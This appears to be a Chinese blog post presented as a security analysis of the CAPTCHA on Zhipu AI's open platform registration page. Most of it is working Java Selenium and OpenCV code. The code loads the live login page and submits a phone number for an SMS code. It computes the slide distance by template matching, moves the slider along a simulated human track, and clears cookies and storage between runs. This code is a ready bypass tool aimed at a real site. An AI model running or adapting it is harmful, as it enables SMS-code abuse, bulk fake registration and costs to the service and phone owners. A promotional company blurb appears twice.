前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
1. 暴力破解密码,造成用户信息泄露
2. 短信盗刷的安全问题,影响业务及导致用户投诉
3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 智谱开放平台-会员注册入口
简介:北京智谱华章科技有限公司(简称“智谱”)致力于打造新一代认知智能大模型,专注于做大模型的中国创新。公司合作研发了中英双语千亿级超大规模预训练模型GLM-130B,并基于此推出对话模型ChatGLM,开源单卡版模型ChatGLM-6B。同时,团队还打造了AIGC模型及产品矩阵,包括AI提效助手智谱清言(chatglm.cn)、高效率代码模型CodeGeeX、多模态理解模型CogVLM和文生图模型CogView等。公司践行Model as a Service(MaaS)的市场理念,推出大模型MaaS开放平台(https://open.bigmodel.cn/),打造高效率、通用化的“模型即服务”AI开发新范式。通过认知大模型链接物理世界的亿级用户,智谱基于完整的模型生态和全流程技术支持,为千行百业带来持续创新与变革,加速迈向通用人工智能的时代。
智谱 AI 开放平台提供一系列具有不同功能和定价的大模型,包括通用大模型、超拟人大模型、图像大模型、向量大模型等,并且支持使用您的私有数据对模型进行微调。
二、 安全性分析报告:
采用数美的滑动验证码,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
三、 测试方法:
前端界面分析,采用的是数美的滑动验证码, 网上有现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
1. 模拟器交互部分
private static String INDEX_URL = "https://open.bigmodel.cn/login";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);// 输入手机号WebElement phoneElement = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);phoneElement.sendKeys(phone);// 点击发送验证码按钮WebElement sendElemet = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));if (sendElemet == null) {return null;}boolean isRobot = true;if (isRobot) {RobotMove.click(947, 591);} else {sendElemet.click();}// 数美滑动按钮Thread.sleep(1000);WebElement tipsElement = ChromeDriverManager.waitElement(driver, By.className("shumei_captcha_slide_tips"), 10);String tips = (tipsElement != null) ? tipsElement.getText() : null;if (tips == null) {System.out.println("tips=" + tips);return null;}WebElement moveElement = driver.findElement(By.className("shumei_captcha_slide_btn"));Actions actions = new Actions(driver);actions.moveToElement(moveElement).perform();Thread.sleep(1000);String spCode = "autohome";long t = System.currentTimeMillis();String path = dataPath + "/" + spCode + "/" + t + "/";// 获取大图WebElement bigElement = driver.findElement(By.xpath("//img[@class='shumei_captcha_loaded_img_bg']"));String bgUrl = bigElement.getAttribute("src");if (bgUrl == null) {System.out.println("bgUrl=" + bgUrl);return retEntity;}File bFile = new File(path + "big.png");FileUtils.copyURLToFile(new URL(bgUrl), bFile);byte[] bigBytes = FileUtils.readFileToByteArray(bFile);// 获取小图WebElement smallElement = driver.findElement(By.xpath("//img[@class='shumei_captcha_loaded_img_fg']"));String smallUrl = smallElement.getAttribute("src");File smllFile = new File(path + "small.png");FileUtils.copyURLToFile(new URL(smallUrl), smllFile);byte[] smallBytes = FileUtils.readFileToByteArray(smllFile);if (smallUrl == null) {System.out.println("smallUrl=" + smallUrl);return retEntity;}String ckSum = GenChecksumUtil.genChecksum(bigBytes);Map<String, Double> outMap = cv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, spCode, 2);// 计算距离BigDecimal openDistanceD = new BigDecimal(outMap.get("minX") * 0.5).setScale(0, BigDecimal.ROUND_HALF_UP);int distince = openDistanceD.intValue();System.out.println("distince=" + distince);ActionMove.move(driver, moveElement, distince);Thread.sleep(1000);WebElement msgElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span[contains(text(),'s')]"), 10);String msg = (msgElement != null && msgElement.isDisplayed()) ? msgElement.getText() : null;retEntity.setMsg("[" + tips + "->" + msg + "]");if (msg != null && msg.contains("s")) {retEntity.setRet(0);try {((JavascriptExecutor) driver).executeScript("window.sessionStorage.clear();");((JavascriptExecutor) driver).executeScript("window.localStorage.clear();");} catch (Exception ex) {}} else {System.out.println("msg=" + msg);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}
2. 距离识别
/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public Map<String, Double> getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath* 模板图片路径* @param bgPath* 目标图片路径* @return { width, maxX }*/public Map<String, Double> getWidth(String tpPath, String bgPath, String resultFile) {try {Map<String, Integer> hlMap = new HashMap<String, Integer>();Rect rectCrop = clearWhite(tpPath, hlMap);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat bgOrign = Imgcodecs.imread(bgPath);int rowStart = hlMap.get("minY");int rowEnd = hlMap.get("maxY");// 当滑块的高度和背景图高度一致才做截取boolean isSub = (bgOrign.rows() == hlMap.get("rows"));Mat bgMat = (isSub) ? bgOrign.submat(rowStart, rowEnd, 0, bgOrign.cols()) : bgOrign;// 北京切割Mat edgesBg = new Mat();Imgproc.Canny(bgMat, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);Map<String, Double> paramMap = new HashMap<String, Double>();paramMap.put("tpWidth", g_tem.cols() * 1.0);paramMap.put("bigWidth", cvtBg.cols() * 1.0);paramMap.put("width", cvtSlide.cols() * 1.0);paramMap.put("minX", maxLoc.x);paramMap.put("maxX", maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() " + paramMap.toString());return paramMap;} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath, Map<String, Integer> hlMap) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xhlMap.put("rows", rows);hlMap.put("cols", cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);hlMap.put("minY", minY);hlMap.put("maxY", maxY);System.out.println("openCv2.clearWhite() [" + rows + ", " + cols + "],minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}
3. 轨道生成及移动算法
/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {boolean isPrn = false;List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}if (isPrn)System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];moveY = move[1];sum += moveX;if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "],sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}
4. OpenCv 轮廓匹配测试样例:
四丶结语
北京智谱华章科技有限公司(简称“智谱”)致力于打造新一代认知智能大模型,专注于做大模型的中国创新。公司合作研发了中英双语千亿级超大规模预训练模型GLM-130B,并基于此推出对话模型ChatGLM,开源单卡版模型ChatGLM-6B。同时,团队还打造了AIGC模型及产品矩阵,包括AI提效助手智谱清言(chatglm.cn)、高效率代码模型CodeGeeX、多模态理解模型CogVLM和文生图模型CogView等。公司践行Model as a Service(MaaS)的市场理念,推出大模型MaaS开放平台(https://open.bigmodel.cn/),打造高效率、通用化的“模型即服务”AI开发新范式。通过认知大模型链接物理世界的亿级用户,智谱基于完整的模型生态和全流程技术支持,为千行百业带来持续创新与变革,加速迈向通用人工智能的时代。
作为全球领先AI智能高科技企业,拥有雄厚的技术研发实力, 采用的却是通俗的滑动验证产品, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
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